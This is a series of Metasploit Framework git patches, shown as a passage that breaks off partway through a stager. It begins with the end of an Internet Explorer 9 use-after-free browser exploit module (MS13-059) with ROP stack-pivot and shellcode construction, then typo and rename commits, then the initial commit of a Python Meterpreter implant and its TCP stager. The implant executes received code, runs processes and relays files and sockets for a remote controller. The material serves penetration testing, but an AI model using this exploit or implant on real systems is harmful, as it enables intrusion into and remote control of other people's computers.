# Target spray 0x20302020 + # ESI is our fake obj, with [esi]=0x20302020, [esi+4]=0x42424242, so on + # eax=20302020 ebx=80004002 ecx=0250d890 edx=cccccccc esi=03909b68 edi=0250d8cc + # eip=cccccccc esp=0250d87c ebp=0250d8a8 iopl=0 nv up ei ng nz na po cy + # cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283 + # cccccccc ?? ??? + def get_payload + code = '' + code << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + code << "\x61\x9d" # popad; popfd + code << payload.encoded + + stack_pivot = [ + 0x7c342643, # xchg eax, esp; pop edi; add [eax], al, pop ecx; ret + 0x0c0c0c0c + ].pack("V*") + + p = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) + + return p + end + + def is_win7_ie9?(agent) + (agent =~ /MSIE 9/ and agent =~ /Windows NT 6\.1/) + end + + # The meta-refresh seems very necessary to make the object overwrite more reliable. + # Without it, it only gets about 50/50 + def get_html(cli, req) + js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch)) + js_payload = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch)) + + html = %Q| + + + + + + + + + | + + html.gsub(/^\t\t/, '') + end + + def on_request_uri(cli, request) + if is_win7_ie9?(request.headers['User-Agent']) + print_status("Sending exploit...") + send_response(cli, get_html(cli, request), {'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache'}) + else + print_error("Not a suitable target: #{request.headers['User-Agent']}") + send_not_found(cli) + end + end +end From 38dbab9dd0ef84e406c5bdcd87ebab84c5ee0036 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 30 Aug 2013 10:43:26 -0500 Subject: [PATCH 421/454] Fix typos --- .../exploits/windows/browser/ms13_058_cflatmarkuppointer.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb index 95d5f515a792c..c46b323b0021a 100644 --- a/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb @@ -29,13 +29,13 @@ def initialize(info={}) event will be run twice before the crash. The first time is due to the position change of the body element, which is also when a MSHTML!CFlatMarkupPointer::`vftable' object is created during a "SelectAll" command, and this object will be used later - on in the crash. The second onmove event seems to be triggered by a InsertButton + on for the crash. The second onmove event seems to be triggered by a InsertButton (or Insert-whatever) command, which is also responsible for the free of object CFlatMarkupPointer during page rendering. The EnsureRecalcNotify() function will then still return an invalid reference to CFlatMarkupPointer (stored in EBX), and then passes this on to the next functions (GetLineInfo -> QIClassID). When this reference arrives in function QIClassID, an access violation finally occurs when - the function is trying to call QueryInterface() with the bad eference, an this + the function is trying to call QueryInterface() with the bad reference, and this results a crash. Successful control of the freed memory may leverage arbitrary code execution under the context of the user. From f4e09100bd55f4545606bc7d323d48097b917cce Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 30 Aug 2013 10:50:05 -0500 Subject: [PATCH 422/454] Correct file name --- ...3_058_cflatmarkuppointer.rb => ms13_059_cflatmarkuppointer.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/exploits/windows/browser/{ms13_058_cflatmarkuppointer.rb => ms13_059_cflatmarkuppointer.rb} (100%) diff --git a/modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb similarity index 100% rename from modules/exploits/windows/browser/ms13_058_cflatmarkuppointer.rb rename to modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb From a283f1d4fa28160735d0199c3a84b450d902a720 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 30 Aug 2013 10:50:35 -0500 Subject: [PATCH 423/454] Correct module title --- modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index c46b323b0021a..ec2b09e1c60aa 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "MS13-058 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", + 'Name' => "MS13-059 Microsoft Internet Explorer CFlatMarkupPointer Use-After-Free", 'Description' => %q{ This is a memory corruption bug found in Microsoft Internet Explorer. On IE 9, it seems to only affect certain releases of mshtml.dll. For example: This module From ea8cd2dc46b335106ae2ef91f35b292eedacfbb0 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 30 Aug 2013 10:52:39 -0500 Subject: [PATCH 424/454] Update authors list --- modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index ec2b09e1c60aa..e2d1dccb65381 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -46,7 +46,6 @@ def initialize(info={}) 'Author' => [ 'corelanc0d3r', # Vuln discovery, PoC - 'juan vazquez', # Stack pivot! 'sinn3r' # Metasploit ], 'References' => From ee4ba04d7daf6283c1301d09c9cc5433f5a7a6c1 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 5 Aug 2013 23:38:49 -0400 Subject: [PATCH 425/454] Initial commit of the python meterpreter. --- data/meterpreter/ext_server_stdapi.py | 504 ++++++++++++++++++ data/meterpreter/meterpreter.py | 392 ++++++++++++++ lib/msf/base/sessions/meterpreter_python.rb | 29 + lib/rex/constants.rb | 4 +- modules/payloads/stagers/python/bind_tcp.rb | 55 ++ .../payloads/stagers/python/reverse_tcp.rb | 53 ++ modules/payloads/stages/python/meterpreter.rb | 36 ++ 7 files changed, 1072 insertions(+), 1 deletion(-) create mode 100644 data/meterpreter/ext_server_stdapi.py create mode 100644 data/meterpreter/meterpreter.py create mode 100644 lib/msf/base/sessions/meterpreter_python.rb create mode 100644 modules/payloads/stagers/python/bind_tcp.rb create mode 100644 modules/payloads/stagers/python/reverse_tcp.rb create mode 100644 modules/payloads/stages/python/meterpreter.rb diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py new file mode 100644 index 0000000000000..36fdee9d5caf1 --- /dev/null +++ b/data/meterpreter/ext_server_stdapi.py @@ -0,0 +1,504 @@ +import os +import sys +import shlex +import socket +import struct +import shutil +import fnmatch +import getpass +import platform +import subprocess + +## +# STDAPI +## + +# +# TLV Meta Types +# +TLV_META_TYPE_NONE = ( 0 ) +TLV_META_TYPE_STRING = (1 << 16) +TLV_META_TYPE_UINT = (1 << 17) +TLV_META_TYPE_RAW = (1 << 18) +TLV_META_TYPE_BOOL = (1 << 19) +TLV_META_TYPE_COMPRESSED = (1 << 29) +TLV_META_TYPE_GROUP = (1 << 30) +TLV_META_TYPE_COMPLEX = (1 << 31) +# not defined in original +TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16) + +# +# TLV Specific Types +# +TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0 +TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1 +TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2 +TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3 +TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4 + +TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10 +TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11 +TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12 + +TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25 +TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26 +TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27 + +TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50 +TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51 +TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52 +TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53 +TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54 + +## +# General +## +TLV_TYPE_HANDLE = TLV_META_TYPE_UINT | 600 +TLV_TYPE_INHERIT = TLV_META_TYPE_BOOL | 601 +TLV_TYPE_PROCESS_HANDLE = TLV_META_TYPE_UINT | 630 +TLV_TYPE_THREAD_HANDLE = TLV_META_TYPE_UINT | 631 + +## +# Fs +## +TLV_TYPE_DIRECTORY_PATH = TLV_META_TYPE_STRING | 1200 +TLV_TYPE_FILE_NAME = TLV_META_TYPE_STRING | 1201 +TLV_TYPE_FILE_PATH = TLV_META_TYPE_STRING | 1202 +TLV_TYPE_FILE_MODE = TLV_META_TYPE_STRING | 1203 +TLV_TYPE_FILE_SIZE = TLV_META_TYPE_UINT | 1204 + +TLV_TYPE_STAT_BUF = TLV_META_TYPE_COMPLEX | 1220 + +TLV_TYPE_SEARCH_RECURSE = TLV_META_TYPE_BOOL | 1230 +TLV_TYPE_SEARCH_GLOB = TLV_META_TYPE_STRING | 1231 +TLV_TYPE_SEARCH_ROOT = TLV_META_TYPE_STRING | 1232 +TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233 + +## +# Net +## +TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400 +TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401 + +TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420 +TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421 +TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422 +TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423 + +TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430 +TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431 +TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432 +TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 + +TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 +TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 +TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 + +# Socket +TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 +TLV_TYPE_PEER_PORT = TLV_META_TYPE_UINT | 1501 +TLV_TYPE_LOCAL_HOST = TLV_META_TYPE_STRING | 1502 +TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503 +TLV_TYPE_CONNECT_RETRIES = TLV_META_TYPE_UINT | 1504 + +TLV_TYPE_SHUTDOWN_HOW = TLV_META_TYPE_UINT | 1530 + +## +# Sys +## +PROCESS_EXECUTE_FLAG_HIDDEN = (1 << 0) +PROCESS_EXECUTE_FLAG_CHANNELIZED = (1 << 1) +PROCESS_EXECUTE_FLAG_SUSPENDED = (1 << 2) +PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN = (1 << 3) + +# Registry +TLV_TYPE_HKEY = TLV_META_TYPE_UINT | 1000 +TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY +TLV_TYPE_BASE_KEY = TLV_META_TYPE_STRING | 1001 +TLV_TYPE_PERMISSION = TLV_META_TYPE_UINT | 1002 +TLV_TYPE_KEY_NAME = TLV_META_TYPE_STRING | 1003 +TLV_TYPE_VALUE_NAME = TLV_META_TYPE_STRING | 1010 +TLV_TYPE_VALUE_TYPE = TLV_META_TYPE_UINT | 1011 +TLV_TYPE_VALUE_DATA = TLV_META_TYPE_RAW | 1012 + +# Config +TLV_TYPE_COMPUTER_NAME = TLV_META_TYPE_STRING | 1040 +TLV_TYPE_OS_NAME = TLV_META_TYPE_STRING | 1041 +TLV_TYPE_USER_NAME = TLV_META_TYPE_STRING | 1042 +TLV_TYPE_ARCHITECTURE = TLV_META_TYPE_STRING | 1043 + +DELETE_KEY_FLAG_RECURSIVE = (1 << 0) + +# Process +TLV_TYPE_BASE_ADDRESS = TLV_META_TYPE_UINT | 2000 +TLV_TYPE_ALLOCATION_TYPE = TLV_META_TYPE_UINT | 2001 +TLV_TYPE_PROTECTION = TLV_META_TYPE_UINT | 2002 +TLV_TYPE_PROCESS_PERMS = TLV_META_TYPE_UINT | 2003 +TLV_TYPE_PROCESS_MEMORY = TLV_META_TYPE_RAW | 2004 +TLV_TYPE_ALLOC_BASE_ADDRESS = TLV_META_TYPE_UINT | 2005 +TLV_TYPE_MEMORY_STATE = TLV_META_TYPE_UINT | 2006 +TLV_TYPE_MEMORY_TYPE = TLV_META_TYPE_UINT | 2007 +TLV_TYPE_ALLOC_PROTECTION = TLV_META_TYPE_UINT | 2008 +TLV_TYPE_PID = TLV_META_TYPE_UINT | 2300 +TLV_TYPE_PROCESS_NAME = TLV_META_TYPE_STRING | 2301 +TLV_TYPE_PROCESS_PATH = TLV_META_TYPE_STRING | 2302 +TLV_TYPE_PROCESS_GROUP = TLV_META_TYPE_GROUP | 2303 +TLV_TYPE_PROCESS_FLAGS = TLV_META_TYPE_UINT | 2304 +TLV_TYPE_PROCESS_ARGUMENTS = TLV_META_TYPE_STRING | 2305 +TLV_TYPE_PROCESS_ARCH = TLV_META_TYPE_UINT | 2306 +TLV_TYPE_PARENT_PID = TLV_META_TYPE_UINT | 2307 + +TLV_TYPE_IMAGE_FILE = TLV_META_TYPE_STRING | 2400 +TLV_TYPE_IMAGE_FILE_PATH = TLV_META_TYPE_STRING | 2401 +TLV_TYPE_PROCEDURE_NAME = TLV_META_TYPE_STRING | 2402 +TLV_TYPE_PROCEDURE_ADDRESS = TLV_META_TYPE_UINT | 2403 +TLV_TYPE_IMAGE_BASE = TLV_META_TYPE_UINT | 2404 +TLV_TYPE_IMAGE_GROUP = TLV_META_TYPE_GROUP | 2405 +TLV_TYPE_IMAGE_NAME = TLV_META_TYPE_STRING | 2406 + +TLV_TYPE_THREAD_ID = TLV_META_TYPE_UINT | 2500 +TLV_TYPE_THREAD_PERMS = TLV_META_TYPE_UINT | 2502 +TLV_TYPE_EXIT_CODE = TLV_META_TYPE_UINT | 2510 +TLV_TYPE_ENTRY_POINT = TLV_META_TYPE_UINT | 2511 +TLV_TYPE_ENTRY_PARAMETER = TLV_META_TYPE_UINT | 2512 +TLV_TYPE_CREATION_FLAGS = TLV_META_TYPE_UINT | 2513 + +TLV_TYPE_REGISTER_NAME = TLV_META_TYPE_STRING | 2540 +TLV_TYPE_REGISTER_SIZE = TLV_META_TYPE_UINT | 2541 +TLV_TYPE_REGISTER_VALUE_32 = TLV_META_TYPE_UINT | 2542 +TLV_TYPE_REGISTER = TLV_META_TYPE_GROUP | 2550 + +## +# Ui +## +TLV_TYPE_IDLE_TIME = TLV_META_TYPE_UINT | 3000 +TLV_TYPE_KEYS_DUMP = TLV_META_TYPE_STRING | 3001 +TLV_TYPE_DESKTOP = TLV_META_TYPE_STRING | 3002 + +## +# Event Log +## +TLV_TYPE_EVENT_SOURCENAME = TLV_META_TYPE_STRING | 4000 +TLV_TYPE_EVENT_HANDLE = TLV_META_TYPE_UINT | 4001 +TLV_TYPE_EVENT_NUMRECORDS = TLV_META_TYPE_UINT | 4002 + +TLV_TYPE_EVENT_READFLAGS = TLV_META_TYPE_UINT | 4003 +TLV_TYPE_EVENT_RECORDOFFSET = TLV_META_TYPE_UINT | 4004 + +TLV_TYPE_EVENT_RECORDNUMBER = TLV_META_TYPE_UINT | 4006 +TLV_TYPE_EVENT_TIMEGENERATED = TLV_META_TYPE_UINT | 4007 +TLV_TYPE_EVENT_TIMEWRITTEN = TLV_META_TYPE_UINT | 4008 +TLV_TYPE_EVENT_ID = TLV_META_TYPE_UINT | 4009 +TLV_TYPE_EVENT_TYPE = TLV_META_TYPE_UINT | 4010 +TLV_TYPE_EVENT_CATEGORY = TLV_META_TYPE_UINT | 4011 +TLV_TYPE_EVENT_STRING = TLV_META_TYPE_STRING | 4012 +TLV_TYPE_EVENT_DATA = TLV_META_TYPE_RAW | 4013 + +## +# Power +## +TLV_TYPE_POWER_FLAGS = TLV_META_TYPE_UINT | 4100 +TLV_TYPE_POWER_REASON = TLV_META_TYPE_UINT | 4101 + +## +# Errors +## +ERROR_SUCCESS = 0 +# not defined in original C implementation +ERROR_FAILURE = 1 + +# Special return value to match up with Windows error codes for network +# errors. +ERROR_CONNECTION_ERROR = 10000 + +def get_stat_buffer(path): + si = os.stat(path) + rdev = 0 + if hasattr(si, 'st_rdev'): + rdev = si.st_rdev + blksize = 0 + if hasattr(si, 'st_blksize'): + blksize = si.st_blksize + blocks = 0 + if hasattr(si, 'st_blocks'): + blocks = si.st_blocks + st_buf = struct.pack('II', pkt[offset:offset+8]) + if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type: + val = pkt[offset+8:(offset+8+(tlv[0] - 8))] + if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + val = val.split('\x00', 1)[0] + elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: + val = bool(struct.unpack('b', val)[0]) + elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + pass + return {'type':tlv[1], 'length':tlv[0], 'value':val} + offset += tlv[0] + return {} + +def tlv_pack(*args): + if len(args) == 2: + tlv = {'type':args[0], 'value':args[1]} + else: + tlv = args[0] + data = "" + if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00' + elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + data = struct.pack('>III', 12, tlv['type'], tlv['value']) + elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: + data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value']))) + elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX: + data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value'] + return data + +class STDProcessBuffer(threading.Thread): + def __init__(self, std, is_alive): + threading.Thread.__init__(self) + self.std = std + self.is_alive = is_alive + self.data = '' + self.data_lock = threading.RLock() + + def run(self): + while self.is_alive(): + byte = self.std.read(1) + self.data_lock.acquire() + self.data += byte + self.data_lock.release() + self.data_lock.acquire() + self.data += self.std.read() + self.data_lock.release() + + def is_read_ready(self): + return len(self.data) != 0 + + def read(self, l = None): + data = '' + self.data_lock.acquire() + if l == None: + data = self.data + self.data = '' + else: + data = self.data[0:l] + self.data = self.data[l:] + self.data_lock.release() + return data + +class STDProcess(subprocess.Popen): + def __init__(self, *args, **kwargs): + subprocess.Popen.__init__(self, *args, **kwargs) + self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None) + self.stdout_reader.start() + self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None) + self.stderr_reader.start() + +class PythonMeterpreter(object): + def __init__(self, socket): + self.socket = socket + self.extension_functions = {} + self.channels = {} + self.interact_channels = [] + self.processes = {} + for func in filter(lambda x: x.startswith('_core'), dir(self)): + self.extension_functions[func[1:]] = getattr(self, func) + self.running = True + + def register_function(self, func): + self.extension_functions[func.__name__] = func + + def run(self): + while self.running: + if len(select.select([self.socket], [], [], 0)[0]): + request = self.socket.recv(8) + if len(request) != 8: + break + req_length, req_type = struct.unpack('>II', request) + req_length -= 8 + request = '' + while len(request) < req_length: + request += self.socket.recv(4096) + print('[+] received ' + str(len(request)) + ' bytes') + response = self.create_response(request) + self.socket.send(response) + print('[+] sent ' + str(len(response)) + ' bytes') + else: + channels_for_removal = [] + channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed + for channel_id in channel_ids: + channel = self.channels[channel_id] + data = '' + if isinstance(channel, STDProcess): + if not channel_id in self.interact_channels: + continue + if channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read() + elif channel.stderr_reader.is_read_ready(): + data = channel.stderr_reader.read() + elif channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + elif isinstance(channel, socket._socketobject): + while len(select.select([channel.fileno()], [], [], 0)[0]): + try: + d = channel.recv(1) + except socket.error: + d = '' + if len(d) == 0: + self.handle_dead_resource_channel(channel_id) + break + data += d + if data: + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write') + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) + pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) + pkt += tlv_pack(TLV_TYPE_LENGTH, len(data)) + pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) + print('[+] sent ' + str(len(pkt)) + ' bytes') + + def handle_dead_resource_channel(self, channel_id): + del self.channels[channel_id] + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + pkt = struct.pack('>I', PACKET_TYPE_REQUEST) + pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close') + pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id()) + pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id) + pkt = struct.pack('>I', len(pkt) + 4) + pkt + self.socket.send(pkt) + print('[+] sent ' + str(len(pkt)) + ' bytes') + + def _core_loadlib(self, request, response): + data_tlv = packet_get_tlv(request, TLV_TYPE_DATA) + if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: + return ERROR_FAILURE + preloadlib_methods = self.extension_functions.keys() + i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) + i.runcode(compile(data_tlv['value'], '', 'exec')) + postloadlib_methods = self.extension_functions.keys() + new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) + for method in new_methods: + response += tlv_pack(TLV_TYPE_METHOD, method) + return ERROR_SUCCESS, response + + def _core_shutdown(self, request, response): + response += tlv_pack(TLV_TYPE_BOOL, True) + self.running = False + return ERROR_SUCCESS, response + + def _core_channel_open(self, request, response): + channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE) + handler = 'channel_create_' + channel_type['value'] + if handler not in self.extension_functions: + return ERROR_FAILURE, response + handler = self.extension_functions[handler] + return handler(request, response) + + def _core_channel_close(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + if isinstance(channel, file): + channel.close() + elif isinstance(channel, subprocess.Popen): + channel.kill() + elif isinstance(s, socket._socketobject): + channel.close() + else: + return ERROR_FAILURE, response + del self.channels[channel_id] + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + return ERROR_SUCCESS, response + + def _core_channel_eof(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + result = False + if isinstance(channel, file): + result = channel.tell() == os.fstat(channel.fileno()).st_size + response += tlv_pack(TLV_TYPE_BOOL, result) + return ERROR_SUCCESS, response + + def _core_channel_interact(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value'] + if toggle: + if channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + else: + self.interact_channels.append(channel_id) + elif channel_id in self.interact_channels: + self.interact_channels.remove(channel_id) + return ERROR_SUCCESS, response + + def _core_channel_read(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + if isinstance(channel, file): + data = channel.read(length) + elif isinstance(channel, STDProcess): + if channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + if channel.stdout_reader.is_read_ready(): + data = channel.stdout_reader.read(length) + elif isinstance(s, socket._socketobject): + data = channel.recv(length) + else: + return ERROR_FAILURE, response + response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data) + return ERROR_SUCCESS, response + + def _core_channel_write(self, request, response): + channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value'] + channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value'] + length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value'] + if channel_id not in self.channels: + return ERROR_FAILURE, response + channel = self.channels[channel_id] + l = len(channel_data) + if isinstance(channel, file): + channel.write(channel_data) + elif isinstance(channel, subprocess.Popen): + if channel.poll() != None: + self.handle_dead_resource_channel(channel_id) + return ERROR_FAILURE, response + channel.stdin.write(channel_data) + elif isinstance(s, socket._socketobject): + try: + l = channel.send(channel_data) + except socket.error: + channel.close() + self.handle_dead_resource_channel(channel_id) + return ERROR_FAILURE, response + else: + return ERROR_FAILURE, response + response += tlv_pack(TLV_TYPE_LENGTH, l) + return ERROR_SUCCESS, response + + def create_response(self, request): + resp = struct.pack('>I', PACKET_TYPE_RESPONSE) + method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD) + resp += tlv_pack(method_tlv) + + reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) + resp += tlv_pack(reqid_tlv) + + print("[*] running method: " + method_tlv['value']) + if method_tlv['value'] in self.extension_functions: + handler = self.extension_functions[method_tlv['value']] + try: + result, resp = handler(request, resp) + except Exception, err: + print("[-] method: " + method_tlv['value'] + " encountered an exception: " + repr(err)) + result = ERROR_FAILURE + else: + result = ERROR_FAILURE + if result == ERROR_FAILURE: + print("[*] method: " + method_tlv['value'] + " failed") + + resp += tlv_pack(TLV_TYPE_RESULT, result) + resp = struct.pack('>I', len(resp) + 4) + resp + return resp +print("[+] starting meterpreter") +met = PythonMeterpreter(s) +met.run() diff --git a/lib/msf/base/sessions/meterpreter_python.rb b/lib/msf/base/sessions/meterpreter_python.rb new file mode 100644 index 0000000000000..a987c893a4e11 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_python.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_Python_Python < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.platform = 'python/python' + self.binary_suffix = 'py' + end +end + +end +end + diff --git a/lib/rex/constants.rb b/lib/rex/constants.rb index 1c9aaf6ef62cc..fd13b19b8b8ec 100644 --- a/lib/rex/constants.rb +++ b/lib/rex/constants.rb @@ -84,6 +84,7 @@ ARCH_JAVA = 'java' ARCH_RUBY = 'ruby' ARCH_DALVIK = 'dalvik' +ARCH_PYTHON = 'python' ARCH_TYPES = [ ARCH_X86, @@ -103,7 +104,8 @@ ARCH_TTY, ARCH_JAVA, ARCH_RUBY, - ARCH_DALVIK + ARCH_DALVIK, + ARCH_PYTHON ] ARCH_ALL = ARCH_TYPES diff --git a/modules/payloads/stagers/python/bind_tcp.rb b/modules/payloads/stagers/python/bind_tcp.rb new file mode 100644 index 0000000000000..e5353ce3019e9 --- /dev/null +++ b/modules/payloads/stagers/python/bind_tcp.rb @@ -0,0 +1,55 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/handler/reverse_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module Metasploit3 + + include Msf::Payload::Stager + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Python Bind TCP Stager', + 'Description' => 'Python connect stager', + 'Author' => 'Spencer McIntyre', + 'License' => MSF_LICENSE, + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Handler' => Msf::Handler::BindTcp, + 'Stager' => {'Payload' => ""} + )) + end + + # + # Constructs the payload + # + def generate + cmd = '' + # Set up the socket + cmd += "import socket,struct\n" + cmd += "s=socket.socket(2,1)\n" # socket.AF_INET = 2, socket.SOCK_STREAM = 1 + cmd += "s.bind(('#{ datastore['LHOST'] }',#{ datastore['LPORT'] }))\n" + cmd += "s.listen(1)\n" + cmd += "c,a=s.accept()\n" + cmd += "l=struct.unpack('>I',c.recv(4))[0]\n" + cmd += "d=s.recv(4096)\n" + cmd += "while len(d)!=l:\n" + cmd += 